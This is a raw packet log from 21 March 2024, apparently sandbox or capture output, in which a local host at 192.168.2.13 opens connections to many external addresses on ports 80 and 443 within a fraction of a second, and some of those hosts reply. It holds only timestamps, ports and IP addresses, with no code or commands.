Mar 21, 2024 05:16:56.480659962 CET	43602	443	192.168.2.13	37.162.190.158
Mar 21, 2024 05:16:56.480659962 CET	43602	443	192.168.2.13	210.135.61.194
Mar 21, 2024 05:16:56.480659962 CET	46418	80	192.168.2.13	11.249.154.160
Mar 21, 2024 05:16:56.480662107 CET	43602	443	192.168.2.13	94.90.93.188
Mar 21, 2024 05:16:56.480662107 CET	46418	80	192.168.2.13	103.158.99.213
Mar 21, 2024 05:16:56.480664968 CET	46418	80	192.168.2.13	54.163.62.124
Mar 21, 2024 05:16:56.480669975 CET	46418	80	192.168.2.13	176.91.26.186
Mar 21, 2024 05:16:56.480674982 CET	46418	80	192.168.2.13	169.82.19.36
Mar 21, 2024 05:16:56.480675936 CET	43602	443	192.168.2.13	94.238.252.57
Mar 21, 2024 05:16:56.480681896 CET	443	43602	94.238.252.57	192.168.2.13
Mar 21, 2024 05:16:56.480694056 CET	43602	443	192.168.2.13	94.242.245.119
Mar 21, 2024 05:16:56.480694056 CET	46418	80	192.168.2.13	178.81.73.36
Mar 21, 2024 05:16:56.480694056 CET	43602	443	192.168.2.13	2.126.27.155
Mar 21, 2024 05:16:56.480694056 CET	43602	443	192.168.2.13	5.74.109.20
Mar 21, 2024 05:16:56.480695963 CET	43602	443	192.168.2.13	94.104.247.194
Mar 21, 2024 05:16:56.480703115 CET	43602	443	192.168.2.13	2.136.244.182
Mar 21, 2024 05:16:56.480704069 CET	443	43602	94.242.245.119	192.168.2.13
Mar 21, 2024 05:16:56.480709076 CET	443	43602	2.136.244.182	192.168.2.13
Mar 21, 2024 05:16:56.480719090 CET	43602	443	192.168.2.13	94.238.252.57
Mar 21, 2024 05:16:56.480720043 CET	46418	80	192.168.2.13	208.232.3.204
Mar 21, 2024 05:16:56.480726004 CET	46418	80	192.168.2.13	126.177.89.52
Mar 21, 2024 05:16:56.480726004 CET	46418	80	192.168.2.13	58.218.46.182
Mar 21, 2024 05:16:56.480729103 CET	46418	80	192.168.2.13	140.197.51.136
Mar 21, 2024 05:16:56.480751038 CET	43602	443	192.168.2.13	2.136.244.182
Mar 21, 2024 05:16:56.480755091 CET	43602	443	192.168.2.13	210.153.40.25
Mar 21, 2024 05:16:56.480755091 CET	43602	443	192.168.2.13	212.187.176.37
Mar 21, 2024 05:16:56.480756044 CET	43602	443	192.168.2.13	94.242.245.119
Mar 21, 2024 05:16:56.480765104 CET	46418	80	192.168.2.13	69.39.55.43
Mar 21, 2024 05:16:56.480766058 CET	443	43602	210.153.40.25	192.168.2.13
Mar 21, 2024 05:16:56.480767965 CET	46418	80	192.168.2.13	205.162.183.225
Mar 21, 2024 05:16:56.480775118 CET	443	43602	212.187.176.37	192.168.2.13
Mar 21, 2024 05:16:56.480777025 CET	43602	443	192.168.2.13	94.103.105.106
Mar 21, 2024 05:16:56.480782986 CET	46418	80	192.168.2.13	142.190.169.79
Mar 21, 2024 05:16:56.480782986 CET	443	43602	94.103.105.106	192.168.2.13
Mar 21, 2024 05:16:56.480782986 CET	46418	80	192.168.2.13	49.244.237.112
Mar 21, 2024 05:16:56.480782986 CET	46418	80	192.168.2.13	179.205.224.103
Mar 21, 2024 05:16:56.480787039 CET	46418	80	192.168.2.13	157.86.107.45
Mar 21, 2024 05:16:56.480787039 CET	46418	80	192.168.2.13	37.65.116.13
Mar 21, 2024 05:16:56.480787992 CET	46418	80	192.168.2.13	207.189.165.31
Mar 21, 2024 05:16:56.480789900 CET	43602	443	192.168.2.13	79.106.255.75
Mar 21, 2024 05:16:56.480789900 CET	43602	443	192.168.2.13	2.232.184.199
Mar 21, 2024 05:16:56.480789900 CET	43602	443	192.168.2.13	42.215.193.43
Mar 21, 2024 05:16:56.480801105 CET	443	43602	79.106.255.75	192.168.2.13
Mar 21, 2024 05:16:56.480806112 CET	443	43602	2.232.184.199	192.168.2.13
Mar 21, 2024 05:16:56.480817080 CET	443	43602	42.215.193.43	192.168.2.13
Mar 21, 2024 05:16:56.480823994 CET	43602	443	192.168.2.13	37.97.12.206
Mar 21, 2024 05:16:56.480824947 CET	43602	443	192.168.2.13	210.153.40.25
Mar 21, 2024 05:16:56.480824947 CET	43602	443	192.168.2.13	212.187.176.37
Mar 21, 2024 05:16:56.480824947 CET	46418	80	192.168.2.13	57.66.214.243
Mar 21, 2024 05:16:56.480824947 CET	43602	443	192.168.2.13	2.107.168.23
Mar 21, 2024 05:16:56.480824947 CET	43602	443	192.168.2.13	94.103.105.106
Mar 21, 2024 05:16:56.480834007 CET	46418	80	192.168.2.13	104.23.43.67
Mar 21, 2024 05:16:56.480834007 CET	46418	80	192.168.2.13	122.191.143.124
Mar 21, 2024 05:16:56.480834007 CET	43602	443	192.168.2.13	109.73.53.15
Mar 21, 2024 05:16:56.480837107 CET	443	43602	37.97.12.206	192.168.2.13
Mar 21, 2024 05:16:56.480834007 CET	46418	80	192.168.2.13	5.99.110.5
Mar 21, 2024 05:16:56.480842113 CET	43602	443	192.168.2.13	118.225.188.96
Mar 21, 2024 05:16:56.480843067 CET	43602	443	192.168.2.13	178.177.12.114
Mar 21, 2024 05:16:56.480843067 CET	43602	443	192.168.2.13	79.238.165.235
Mar 21, 2024 05:16:56.480843067 CET	46418	80	192.168.2.13	204.100.149.68
Mar 21, 2024 05:16:56.480845928 CET	43602	443	192.168.2.13	79.106.255.75
Mar 21, 2024 05:16:56.480845928 CET	43602	443	192.168.2.13	2.232.184.199
Mar 21, 2024 05:16:56.480845928 CET	43602	443	192.168.2.13	5.47.200.190
Mar 21, 2024 05:16:56.480849028 CET	443	43602	118.225.188.96	192.168.2.13
Mar 21, 2024 05:16:56.480849028 CET	443	43602	2.107.168.23	192.168.2.13
Mar 21, 2024 05:16:56.480849028 CET	46418	80	192.168.2.13	96.124.141.64
Mar 21, 2024 05:16:56.480853081 CET	443	43602	178.177.12.114	192.168.2.13
Mar 21, 2024 05:16:56.480858088 CET	443	43602	5.47.200.190	192.168.2.13
Mar 21, 2024 05:16:56.480859995 CET	43602	443	192.168.2.13	118.210.206.108
Mar 21, 2024 05:16:56.480859995 CET	43602	443	192.168.2.13	79.233.34.170
Mar 21, 2024 05:16:56.480859995 CET	46418	80	192.168.2.13	36.169.141.24
Mar 21, 2024 05:16:56.480863094 CET	46418	80	192.168.2.13	189.101.141.233
Mar 21, 2024 05:16:56.480863094 CET	43602	443	192.168.2.13	79.27.73.125
Mar 21, 2024 05:16:56.480864048 CET	43602	443	192.168.2.13	5.224.103.218
Mar 21, 2024 05:16:56.480865002 CET	443	43602	109.73.53.15	192.168.2.13
Mar 21, 2024 05:16:56.480865002 CET	443	43602	79.238.165.235	192.168.2.13
Mar 21, 2024 05:16:56.480868101 CET	46418	80	192.168.2.13	159.185.39.100
Mar 21, 2024 05:16:56.480870008 CET	443	43602	5.224.103.218	192.168.2.13
Mar 21, 2024 05:16:56.480871916 CET	443	43602	118.210.206.108	192.168.2.13
Mar 21, 2024 05:16:56.480875969 CET	43602	443	192.168.2.13	210.10.203.230
Mar 21, 2024 05:16:56.480875969 CET	443	43602	79.27.73.125	192.168.2.13
Mar 21, 2024 05:16:56.480880022 CET	443	43602	79.233.34.170	192.168.2.13
Mar 21, 2024 05:16:56.480881929 CET	43602	443	192.168.2.13	210.252.68.154
Mar 21, 2024 05:16:56.480881929 CET	46418	80	192.168.2.13	114.89.249.155
Mar 21, 2024 05:16:56.480884075 CET	43602	443	192.168.2.13	42.215.193.43
Mar 21, 2024 05:16:56.480884075 CET	43602	443	192.168.2.13	37.97.12.206
Mar 21, 2024 05:16:56.480884075 CET	43602	443	192.168.2.13	109.117.155.78
Mar 21, 2024 05:16:56.480885029 CET	46418	80	192.168.2.13	6.8.31.27
Mar 21, 2024 05:16:56.480884075 CET	43602	443	192.168.2.13	79.116.146.42
Mar 21, 2024 05:16:56.480885029 CET	43602	443	192.168.2.13	2.182.110.177
Mar 21, 2024 05:16:56.480884075 CET	43602	443	192.168.2.13	178.177.12.114
Mar 21, 2024 05:16:56.480885029 CET	46418	80	192.168.2.13	171.211.93.136
Mar 21, 2024 05:16:56.480885029 CET	43602	443	192.168.2.13	42.126.190.150
Mar 21, 2024 05:16:56.480886936 CET	443	43602	210.10.203.230	192.168.2.13
Mar 21, 2024 05:16:56.480889082 CET	43602	443	192.168.2.13	2.107.168.23
Mar 21, 2024 05:16:56.480891943 CET	443	43602	210.252.68.154	192.168.2.13
Mar 21, 2024 05:16:56.480895996 CET	46418	80	192.168.2.13	183.65.173.207
Mar 21, 2024 05:16:56.480895996 CET	43602	443	192.168.2.13	118.225.188.96
Mar 21, 2024 05:16:56.480896950 CET	43602	443	192.168.2.13	210.208.232.176
Mar 21, 2024 05:16:56.480895996 CET	43602	443	192.168.2.13	5.224.103.218
Mar 21, 2024 05:16:56.480897903 CET	46418	80	192.168.2.13	150.79.251.155
Mar 21, 2024 05:16:56.480897903 CET	43602	443	192.168.2.13	109.73.53.15
Mar 21, 2024 05:16:56.480899096 CET	443	43602	109.117.155.78	192.168.2.13
Mar 21, 2024 05:16:56.480899096 CET	43602	443	192.168.2.13	5.47.200.190
Mar 21, 2024 05:16:56.480902910 CET	443	43602	2.182.110.177	192.168.2.13
Mar 21, 2024 05:16:56.480905056 CET	443	43602	79.116.146.42	192.168.2.13
Mar 21, 2024 05:16:56.480902910 CET	443	43602	210.208.232.176	192.168.2.13
Mar 21, 2024 05:16:56.480907917 CET	43602	443	192.168.2.13	79.238.165.235
Mar 21, 2024 05:16:56.480907917 CET	43602	443	192.168.2.13	79.179.220.100
Mar 21, 2024 05:16:56.480911016 CET	443	43602	42.126.190.150	192.168.2.13
Mar 21, 2024 05:16:56.480911970 CET	43602	443	192.168.2.13	118.210.206.108
Mar 21, 2024 05:16:56.480914116 CET	46418	80	192.168.2.13	172.79.28.63
Mar 21, 2024 05:16:56.480914116 CET	46418	80	192.168.2.13	143.124.71.3
Mar 21, 2024 05:16:56.480914116 CET	43602	443	192.168.2.13	178.2.184.40
Mar 21, 2024 05:16:56.480916977 CET	43602	443	192.168.2.13	79.27.73.125
Mar 21, 2024 05:16:56.480917931 CET	443	43602	79.179.220.100	192.168.2.13
Mar 21, 2024 05:16:56.480921030 CET	46418	80	192.168.2.13	120.185.41.77
Mar 21, 2024 05:16:56.480927944 CET	443	43602	178.2.184.40	192.168.2.13
Mar 21, 2024 05:16:56.480931044 CET	43602	443	192.168.2.13	2.182.110.177
Mar 21, 2024 05:16:56.480937958 CET	46418	80	192.168.2.13	18.101.180.176
Mar 21, 2024 05:16:56.480938911 CET	43602	443	192.168.2.13	79.233.34.170
Mar 21, 2024 05:16:56.480938911 CET	43602	443	192.168.2.13	109.117.155.78
Mar 21, 2024 05:16:56.480938911 CET	43602	443	192.168.2.13	79.116.146.42
Mar 21, 2024 05:16:56.480941057 CET	43602	443	192.168.2.13	79.142.173.22
Mar 21, 2024 05:16:56.480942011 CET	43602	443	192.168.2.13	210.252.68.154
Mar 21, 2024 05:16:56.480942011 CET	43602	443	192.168.2.13	210.10.203.230
Mar 21, 2024 05:16:56.480947018 CET	443	43602	79.142.173.22	192.168.2.13
Mar 21, 2024 05:16:56.480952978 CET	43602	443	192.168.2.13	79.179.220.100
Mar 21, 2024 05:16:56.480952978 CET	43602	443	192.168.2.13	42.126.190.150
Mar 21, 2024 05:16:56.480962038 CET	43602	443	192.168.2.13	210.208.232.176
Mar 21, 2024 05:16:56.480962038 CET	43602	443	192.168.2.13	178.2.184.40
Mar 21, 2024 05:16:56.480973005 CET	46418	80	192.168.2.13	9.189.241.85
Mar 21, 2024 05:16:56.480974913 CET	43602	443	192.168.2.13	5.25.168.26
Mar 21, 2024 05:16:56.480981112 CET	46418	80	192.168.2.13	71.177.16.126
Mar 21, 2024 05:16:56.480983019 CET	443	43602	5.25.168.26	192.168.2.13
Mar 21, 2024 05:16:56.480986118 CET	43602	443	192.168.2.13	79.142.173.22
Mar 21, 2024 05:16:56.480986118 CET	46418	80	192.168.2.13	53.226.111.65
Mar 21, 2024 05:16:56.480986118 CET	46418	80	192.168.2.13	144.146.234.22
Mar 21, 2024 05:16:56.480988026 CET	43602	443	192.168.2.13	42.242.41.191
Mar 21, 2024 05:16:56.480988026 CET	43602	443	192.168.2.13	94.64.230.88
Mar 21, 2024 05:16:56.480994940 CET	43602	443	192.168.2.13	79.5.152.6
Mar 21, 2024 05:16:56.480994940 CET	43602	443	192.168.2.13	210.170.33.165
Mar 21, 2024 05:16:56.480994940 CET	43602	443	192.168.2.13	178.116.251.59
Mar 21, 2024 05:16:56.480994940 CET	43602	443	192.168.2.13	37.37.197.23
Mar 21, 2024 05:16:56.481005907 CET	443	43602	42.242.41.191	192.168.2.13
Mar 21, 2024 05:16:56.481009960 CET	443	43602	79.5.152.6	192.168.2.13
Mar 21, 2024 05:16:56.481014013 CET	443	43602	94.64.230.88	192.168.2.13
Mar 21, 2024 05:16:56.481019020 CET	443	43602	210.170.33.165	192.168.2.13
Mar 21, 2024 05:16:56.481024027 CET	443	43602	178.116.251.59	192.168.2.13
Mar 21, 2024 05:16:56.481025934 CET	43602	443	192.168.2.13	118.36.136.12
Mar 21, 2024 05:16:56.481026888 CET	43602	443	192.168.2.13	37.44.92.57
Mar 21, 2024 05:16:56.481026888 CET	43602	443	192.168.2.13	5.37.179.27
Mar 21, 2024 05:16:56.481030941 CET	43602	443	192.168.2.13	210.4.28.178
Mar 21, 2024 05:16:56.481031895 CET	443	43602	37.37.197.23	192.168.2.13
Mar 21, 2024 05:16:56.481034040 CET	43602	443	192.168.2.13	79.55.85.77
Mar 21, 2024 05:16:56.481034994 CET	443	43602	118.36.136.12	192.168.2.13
Mar 21, 2024 05:16:56.481043100 CET	443	43602	37.44.92.57	192.168.2.13
Mar 21, 2024 05:16:56.481044054 CET	443	43602	79.55.85.77	192.168.2.13
Mar 21, 2024 05:16:56.481045008 CET	43602	443	192.168.2.13	5.25.168.26
Mar 21, 2024 05:16:56.481045008 CET	43602	443	192.168.2.13	94.5.169.108
Mar 21, 2024 05:16:56.481045008 CET	43602	443	192.168.2.13	79.5.152.6
Mar 21, 2024 05:16:56.481049061 CET	443	43602	210.4.28.178	192.168.2.13
Mar 21, 2024 05:16:56.481051922 CET	443	43602	5.37.179.27	192.168.2.13
Mar 21, 2024 05:16:56.481055021 CET	443	43602	94.5.169.108	192.168.2.13
Mar 21, 2024 05:16:56.481055975 CET	43602	443	192.168.2.13	42.242.41.191
Mar 21, 2024 05:16:56.481055975 CET	43602	443	192.168.2.13	94.64.230.88
Mar 21, 2024 05:16:56.481056929 CET	43602	443	192.168.2.13	210.170.33.165
Mar 21, 2024 05:16:56.481056929 CET	43602	443	192.168.2.13	178.116.251.59
Mar 21, 2024 05:16:56.481089115 CET	43602	443	192.168.2.13	109.170.55.170
Mar 21, 2024 05:16:56.481091022 CET	43602	443	192.168.2.13	37.44.92.57
Mar 21, 2024 05:16:56.481096029 CET	443	43602	109.170.55.170	192.168.2.13
Mar 21, 2024 05:16:56.481098890 CET	43602	443	192.168.2.13	118.36.136.12
Mar 21, 2024 05:16:56.481102943 CET	43602	443	192.168.2.13	37.37.197.23
Mar 21, 2024 05:16:56.481102943 CET	43602	443	192.168.2.13	94.5.169.108
Mar 21, 2024 05:16:56.481107950 CET	43602	443	192.168.2.13	210.4.28.178
Mar 21, 2024 05:16:56.481107950 CET	43602	443	192.168.2.13	5.37.179.27
Mar 21, 2024 05:16:56.481127977 CET	43602	443	192.168.2.13	79.55.85.77
Mar 21, 2024 05:16:56.481127977 CET	43602	443	192.168.2.13	109.170.55.170
Mar 21, 2024 05:16:56.481146097 CET	43602	443	192.168.2.13	94.169.75.250
Mar 21, 2024 05:16:56.481153965 CET	443	43602	94.169.75.250	192.168.2.13
Mar 21, 2024 05:16:56.481161118 CET	43602	443	192.168.2.13	118.217.244.248
Mar 21, 2024 05:16:56.481168032 CET	443	43602	118.217.244.248	192.168.2.13
Mar 21, 2024 05:16:56.481170893 CET	43602	443	192.168.2.13	118.228.84.228
Mar 21, 2024 05:16:56.481174946 CET	43602	443	192.168.2.13	210.44.33.90
Mar 21, 2024 05:16:56.481177092 CET	443	43602	118.228.84.228	192.168.2.13
Mar 21, 2024 05:16:56.481178999 CET	43602	443	192.168.2.13	37.159.149.97
Mar 21, 2024 05:16:56.481179953 CET	43602	443	192.168.2.13	2.250.68.150
Mar 21, 2024 05:16:56.481184006 CET	443	43602	37.159.149.97	192.168.2.13
Mar 21, 2024 05:16:56.481189013 CET	443	43602	210.44.33.90	192.168.2.13
Mar 21, 2024 05:16:56.481189013 CET	43602	443	192.168.2.13	212.207.158.13
Mar 21, 2024 05:16:56.481194973 CET	443	43602	2.250.68.150	192.168.2.13
Mar 21, 2024 05:16:56.481199980 CET	443	43602	212.207.158.13	192.168.2.13
Mar 21, 2024 05:16:56.481200933 CET	43602	443	192.168.2.13	94.234.247.202
Mar 21, 2024 05:16:56.481204033 CET	43602	443	192.168.2.13	94.169.75.250
Mar 21, 2024 05:16:56.481204033 CET	43602	443	192.168.2.13	118.217.244.248
Mar 21, 2024 05:16:56.481210947 CET	43602	443	192.168.2.13	118.9.182.57
Mar 21, 2024 05:16:56.481214046 CET	43602	443	192.168.2.13	37.159.149.97
Mar 21, 2024 05:16:56.481215000 CET	443	43602	94.234.247.202	192.168.2.13
Mar 21, 2024 05:16:56.481215954 CET	43602	443	192.168.2.13	118.228.84.228
Mar 21, 2024 05:16:56.481219053 CET	443	43602	118.9.182.57	192.168.2.13
Mar 21, 2024 05:16:56.481225967 CET	43602	443	192.168.2.13	79.19.20.233
Mar 21, 2024 05:16:56.481225967 CET	43602	443	192.168.2.13	178.79.215.196
Mar 21, 2024 05:16:56.481228113 CET	43602	443	192.168.2.13	212.207.158.13
Mar 21, 2024 05:16:56.481228113 CET	43602	443	192.168.2.13	210.44.33.90
Mar 21, 2024 05:16:56.481235027 CET	443	43602	79.19.20.233	192.168.2.13
Mar 21, 2024 05:16:56.481236935 CET	43602	443	192.168.2.13	2.177.17.39
Mar 21, 2024 05:16:56.481236935 CET	43602	443	192.168.2.13	2.28.101.33
Mar 21, 2024 05:16:56.481244087 CET	443	43602	2.177.17.39	192.168.2.13
Mar 21, 2024 05:16:56.481246948 CET	443	43602	178.79.215.196	192.168.2.13
Mar 21, 2024 05:16:56.481249094 CET	43602	443	192.168.2.13	118.9.182.57
Mar 21, 2024 05:16:56.481251001 CET	43602	443	192.168.2.13	2.250.68.150
Mar 21, 2024 05:16:56.481252909 CET	43602	443	192.168.2.13	94.234.247.202
Mar 21, 2024 05:16:56.481252909 CET	443	43602	2.28.101.33	192.168.2.13
Mar 21, 2024 05:16:56.481252909 CET	43602	443	192.168.2.13	42.152.147.80
Mar 21, 2024 05:16:56.481266975 CET	443	43602	42.152.147.80	192.168.2.13
Mar 21, 2024 05:16:56.481276035 CET	43602	443	192.168.2.13	79.19.20.233
Mar 21, 2024 05:16:56.481276035 CET	43602	443	192.168.2.13	178.79.215.196
Mar 21, 2024 05:16:56.481280088 CET	43602	443	192.168.2.13	2.177.17.39
Mar 21, 2024 05:16:56.481280088 CET	43602	443	192.168.2.13	2.28.101.33
Mar 21, 2024 05:16:56.481295109 CET	43602	443	192.168.2.13	94.19.238.154
Mar 21, 2024 05:16:56.481296062 CET	43602	443	192.168.2.13	5.191.81.137
Mar 21, 2024 05:16:56.481302023 CET	443	43602	94.19.238.154	192.168.2.13
Mar 21, 2024 05:16:56.481309891 CET	443	43602	5.191.81.137	192.168.2.13
Mar 21, 2024 05:16:56.481312037 CET	43602	443	192.168.2.13	37.123.107.236
Mar 21, 2024 05:16:56.481314898 CET	43602	443	192.168.2.13	42.152.147.80
Mar 21, 2024 05:16:56.481314898 CET	43602	443	192.168.2.13	42.32.223.206
Mar 21, 2024 05:16:56.481317997 CET	443	43602	37.123.107.236	192.168.2.13
Mar 21, 2024 05:16:56.481318951 CET	43602	443	192.168.2.13	212.131.164.204
Mar 21, 2024 05:16:56.481321096 CET	443	43602	42.32.223.206	192.168.2.13
Mar 21, 2024 05:16:56.481324911 CET	443	43602	212.131.164.204	192.168.2.13
Mar 21, 2024 05:16:56.481333971 CET	43602	443	192.168.2.13	94.19.238.154
Mar 21, 2024 05:16:56.481344938 CET	43602	443	192.168.2.13	210.240.90.141
Mar 21, 2024 05:16:56.481348038 CET	43602	443	192.168.2.13	37.123.107.236
Mar 21, 2024 05:16:56.481353045 CET	443	43602	210.240.90.141	192.168.2.13
Mar 21, 2024 05:16:56.481353998 CET	43602	443	192.168.2.13	5.191.81.137
Mar 21, 2024 05:16:56.481354952 CET	43602	443	192.168.2.13	42.32.223.206
Mar 21, 2024 05:16:56.481353998 CET	43602	443	192.168.2.13	212.131.164.204
Mar 21, 2024 05:16:56.481394053 CET	43602	443	192.168.2.13	2.94.183.62
Mar 21, 2024 05:16:56.481394053 CET	43602	443	192.168.2.13	118.144.236.118
Mar 21, 2024 05:16:56.481400967 CET	443	43602	2.94.183.62	192.168.2.13
Mar 21, 2024 05:16:56.481409073 CET	43602	443	192.168.2.13	178.36.123.95
Mar 21, 2024 05:16:56.481410980 CET	443	43602	118.144.236.118	192.168.2.13
Mar 21, 2024 05:16:56.481420040 CET	443	43602	178.36.123.95	192.168.2.13
Mar 21, 2024 05:16:56.481431961 CET	43602	443	192.168.2.13	2.94.183.62
Mar 21, 2024 05:16:56.481431007 CET	43602	443	192.168.2.13	210.240.90.141
Mar 21, 2024 05:16:56.481431007 CET	43602	443	192.168.2.13	42.44.27.57
Mar 21, 2024 05:16:56.481432915 CET	43602	443	192.168.2.13	118.148.19.238
Mar 21, 2024 05:16:56.481441021 CET	443	43602	118.148.19.238	192.168.2.13
Mar 21, 2024 05:16:56.481446981 CET	443	43602	42.44.27.57	192.168.2.13
Mar 21, 2024 05:16:56.481446981 CET	43602	443	192.168.2.13	118.144.236.118
Mar 21, 2024 05:16:56.481452942 CET	43602	443	192.168.2.13	178.36.123.95
Mar 21, 2024 05:16:56.481455088 CET	43602	443	192.168.2.13	109.152.247.8
Mar 21, 2024 05:16:56.481461048 CET	443	43602	109.152.247.8	192.168.2.13
Mar 21, 2024 05:16:56.481483936 CET	43602	443	192.168.2.13	37.223.222.93
Mar 21, 2024 05:16:56.481484890 CET	43602	443	192.168.2.13	118.148.19.238
Mar 21, 2024 05:16:56.481487989 CET	43602	443	192.168.2.13	109.152.247.8
Mar 21, 2024 05:16:56.481493950 CET	43602	443	192.168.2.13	109.23.97.38
Mar 21, 2024 05:16:56.481493950 CET	443	43602	37.223.222.93	192.168.2.13
Mar 21, 2024 05:16:56.481493950 CET	43602	443	192.168.2.13	42.44.27.57
Mar 21, 2024 05:16:56.481493950 CET	43602	443	192.168.2.13	178.232.162.55
Mar 21, 2024 05:16:56.481503963 CET	43602	443	192.168.2.13	94.104.70.132
Mar 21, 2024 05:16:56.481504917 CET	443	43602	109.23.97.38	192.168.2.13
Mar 21, 2024 05:16:56.481508017 CET	43602	443	192.168.2.13	37.91.83.44
Mar 21, 2024 05:16:56.481511116 CET	443	43602	94.104.70.132	192.168.2.13
Mar 21, 2024 05:16:56.481513977 CET	443	43602	178.232.162.55	192.168.2.13
Mar 21, 2024 05:16:56.481513977 CET	443	43602	37.91.83.44	192.168.2.13
Mar 21, 2024 05:16:56.481523037 CET	43602	443	192.168.2.13	5.183.18.200
Mar 21, 2024 05:16:56.481528997 CET	443	43602	5.183.18.200	192.168.2.13
Mar 21, 2024 05:16:56.481534004 CET	43602	443	192.168.2.13	109.23.97.38
Mar 21, 2024 05:16:56.481535912 CET	43602	443	192.168.2.13	2.242.196.176
Mar 21, 2024 05:16:56.481537104 CET	43602	443	192.168.2.13	212.213.251.200
Mar 21, 2024 05:16:56.481537104 CET	43602	443	192.168.2.13	5.67.147.209
Mar 21, 2024 05:16:56.481537104 CET	43602	443	192.168.2.13	37.223.222.93
Mar 21, 2024 05:16:56.481539011 CET	43602	443	192.168.2.13	37.91.83.44
Mar 21, 2024 05:16:56.481537104 CET	43602	443	192.168.2.13	2.153.138.189
Mar 21, 2024 05:16:56.481537104 CET	43602	443	192.168.2.13	94.104.70.132
Mar 21, 2024 05:16:56.481542110 CET	443	43602	2.242.196.176	192.168.2.13
Mar 21, 2024 05:16:56.481548071 CET	443	43602	5.67.147.209	192.168.2.13
Mar 21, 2024 05:16:56.481551886 CET	443	43602	212.213.251.200	192.168.2.13
Mar 21, 2024 05:16:56.481554031 CET	43602	443	192.168.2.13	178.232.162.55
Mar 21, 2024 05:16:56.481555939 CET	443	43602	2.153.138.189	192.168.2.13
Mar 21, 2024 05:16:56.481556892 CET	43602	443	192.168.2.13	5.183.18.200
Mar 21, 2024 05:16:56.481565952 CET	43602	443	192.168.2.13	2.194.27.95
Mar 21, 2024 05:16:56.481571913 CET	443	43602	2.194.27.95	192.168.2.13
Mar 21, 2024 05:16:56.481576920 CET	43602	443	192.168.2.13	2.242.196.176
Mar 21, 2024 05:16:56.481576920 CET	43602	443	192.168.2.13	118.15.89.183
Mar 21, 2024 05:16:56.481576920 CET	43602	443	192.168.2.13	42.64.32.19
Mar 21, 2024 05:16:56.481578112 CET	43602	443	192.168.2.13	5.67.147.209
Mar 21, 2024 05:16:56.481584072 CET	43602	443	192.168.2.13	2.135.197.235
Mar 21, 2024 05:16:56.481584072 CET	443	43602	118.15.89.183	192.168.2.13
Mar 21, 2024 05:16:56.481585979 CET	443	43602	42.64.32.19	192.168.2.13
Mar 21, 2024 05:16:56.481589079 CET	443	43602	2.135.197.235	192.168.2.13
Mar 21, 2024 05:16:56.481591940 CET	43602	443	192.168.2.13	212.213.251.200
Mar 21, 2024 05:16:56.481592894 CET	43602	443	192.168.2.13	37.109.239.16
Mar 21, 2024 05:16:56.481592894 CET	43602	443	192.168.2.13	2.55.142.214
Mar 21, 2024 05:16:56.481605053 CET	443	43602	37.109.239.16	192.168.2.13
Mar 21, 2024 05:16:56.481611013 CET	43602	443	192.168.2.13	2.64.58.64
Mar 21, 2024 05:16:56.481611013 CET	43602	443	192.168.2.13	2.153.138.189
Mar 21, 2024 05:16:56.481612921 CET	443	43602	2.55.142.214	192.168.2.13
Mar 21, 2024 05:16:56.481612921 CET	43602	443	192.168.2.13	42.64.32.19
Mar 21, 2024 05:16:56.481614113 CET	43602	443	192.168.2.13	2.194.27.95
Mar 21, 2024 05:16:56.481616020 CET	443	43602	2.64.58.64	192.168.2.13
Mar 21, 2024 05:16:56.481628895 CET	43602	443	192.168.2.13	118.15.89.183
Mar 21, 2024 05:16:56.481645107 CET	43602	443	192.168.2.13	2.135.197.235
Mar 21, 2024 05:16:56.481645107 CET	43602	443	192.168.2.13	2.64.58.64
Mar 21, 2024 05:16:56.481647968 CET	43602	443	192.168.2.13	118.106.212.195
Mar 21, 2024 05:16:56.481647968 CET	43602	443	192.168.2.13	37.109.239.16
Mar 21, 2024 05:16:56.481654882 CET	443	43602	118.106.212.195	192.168.2.13
Mar 21, 2024 05:16:56.481664896 CET	43602	443	192.168.2.13	118.114.250.203
Mar 21, 2024 05:16:56.481671095 CET	443	43602	118.114.250.203	192.168.2.13
Mar 21, 2024 05:16:56.481676102 CET	43602	443	192.168.2.13	94.37.149.8
Mar 21, 2024 05:16:56.481679916 CET	43602	443	192.168.2.13	178.64.169.214
Mar 21, 2024 05:16:56.481682062 CET	443	43602	94.37.149.8	192.168.2.13
Mar 21, 2024 05:16:56.481683016 CET	43602	443	192.168.2.13	2.55.142.214
Mar 21, 2024 05:16:56.481683016 CET	43602	443	192.168.2.13	118.184.46.86
Mar 21, 2024 05:16:56.481683016 CET	43602	443	192.168.2.13	118.106.212.195
Mar 21, 2024 05:16:56.481689930 CET	443	43602	178.64.169.214	192.168.2.13
Mar 21, 2024 05:16:56.481693983 CET	443	43602	118.184.46.86	192.168.2.13
Mar 21, 2024 05:16:56.481694937 CET	43602	443	192.168.2.13	109.57.246.70
Mar 21, 2024 05:16:56.481697083 CET	43602	443	192.168.2.13	37.17.129.213
Mar 21, 2024 05:16:56.481698036 CET	43602	443	192.168.2.13	118.114.250.203
Mar 21, 2024 05:16:56.481700897 CET	443	43602	109.57.246.70	192.168.2.13
Mar 21, 2024 05:16:56.481703997 CET	443	43602	37.17.129.213	192.168.2.13
Mar 21, 2024 05:16:56.481712103 CET	43602	443	192.168.2.13	94.82.190.187
Mar 21, 2024 05:16:56.481719017 CET	43602	443	192.168.2.13	94.37.149.8
Mar 21, 2024 05:16:56.481720924 CET	443	43602	94.82.190.187	192.168.2.13
Mar 21, 2024 05:16:56.481725931 CET	43602	443	192.168.2.13	178.64.169.214
Mar 21, 2024 05:16:56.481725931 CET	43602	443	192.168.2.13	118.184.46.86
Mar 21, 2024 05:16:56.481739044 CET	43602	443	192.168.2.13	109.57.246.70
Mar 21, 2024 05:16:56.481739044 CET	46418	80	192.168.2.13	90.250.201.254
Mar 21, 2024 05:16:56.481739044 CET	46418	80	192.168.2.13	248.24.255.13
Mar 21, 2024 05:16:56.481739044 CET	46418	80	192.168.2.13	55.38.255.201
Mar 21, 2024 05:16:56.481743097 CET	43602	443	192.168.2.13	37.17.129.213
Mar 21, 2024 05:16:56.481745958 CET	43602	443	192.168.2.13	79.26.249.230
Mar 21, 2024 05:16:56.481751919 CET	443	43602	79.26.249.230	192.168.2.13
Mar 21, 2024 05:16:56.481758118 CET	43602	443	192.168.2.13	5.32.140.93
Mar 21, 2024 05:16:56.481758118 CET	46418	80	192.168.2.13	161.171.35.41
Mar 21, 2024 05:16:56.481758118 CET	43602	443	192.168.2.13	109.13.186.90
Mar 21, 2024 05:16:56.481758118 CET	43602	443	192.168.2.13	118.194.16.103
Mar 21, 2024 05:16:56.481760979 CET	46418	80	192.168.2.13	98.101.186.172
